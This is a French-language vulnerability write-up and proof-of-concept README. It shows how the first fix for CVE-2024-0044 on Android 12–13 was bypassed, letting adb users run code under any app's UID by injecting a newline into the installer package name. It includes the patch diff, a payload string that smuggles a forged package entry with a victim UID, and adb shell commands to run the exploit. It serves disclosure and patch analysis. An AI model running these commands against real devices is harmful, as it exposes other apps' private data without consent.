
Preuve de concept et analyse pour contourner le correctif initial de CVE-2024-0044, une vulnérabilité du framework Android permettant une élévation de privilèges depuis ADB vers un UID d'application arbitraire via une injection du nom de package de l'installateur.
CVE-2024-0044/A-307532206 est une vulnérabilité de haute sévérité dans le framework Android qui permet à des attaquants disposant d'un accès adb d'exécuter du code arbitraire sous l'UID d'une application arbitraire. Elle a été découverte à l'origine par Tom Hebb de Meta Red Team X. Vous pouvez trouver de nombreux articles sur l'exploitation de cette vulnérabilité sur Internet, comme celui-ci et celui-là. Pour plus d'informations, consultez ce blog : https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
Le correctif pour cette vulnérabilité est inclus dans le Bulletin de sécurité Android de mars 2024, mais j'ai maintenant trouvé une exploitation qui contourne le correctif. Le nouveau correctif est inclus dans le Bulletin de sécurité Android d'octobre 2024 sous le même identifiant CVE CVE-2024-0044. Les appareils Android 12-13 dont le niveau de correctif de sécurité est antérieur au 2024-10-01 sont vulnérables à ce problème.
Ce dépôt contient un PoC minimal reproductible et un write-up.
Le correctif a ajouté une validation pour le nom du package installateur passé au PackageManagerService :
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Vous pouvez voir que params.installerPackageName sera remis à null s'il ne s'agit pas d'un nom de package Android valide. Cependant, à la ligne suivante, requestedInstallerPackageName peut être installerPackageName lorsque params.installerPackageName est nul ou invalide.
Qu'est-ce que installerPackageName ?
Examinons la méthode createSessionInternal, dans laquelle le correctif a été ajouté :
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Vous pouvez voir que installerPackageName est un argument séparé qui ne provient pas de param. Le correctif d'origine a validé params.installerPackageName, mais a oublié de valider installerPackageName.
Vous pouvez simplement utiliser le code d'exploitation original du blog de Tom Hebb pour le reproduire. Ce dépôt contient également un PoC minimal reproductible. Si vous voulez tester mon PoC, compilez-le, poussez l'apk généré vers /data/local/tmp/poc.apk, puis exécutez le code suivant avec adb shell :
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
remplacez <victim uid> par l'UID de l'application victime.
Si vous voulez rejouer, exécutez adb uninstall top.canyie.cve_2024_0044 et relancez le code ci-dessus.
Le problème semble évident, comment a-t-il échappé à tout le monde ?
Eh bien, Google a bien ajouté un test pour ce problème afin de s'assurer qu'il est corrigé :
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);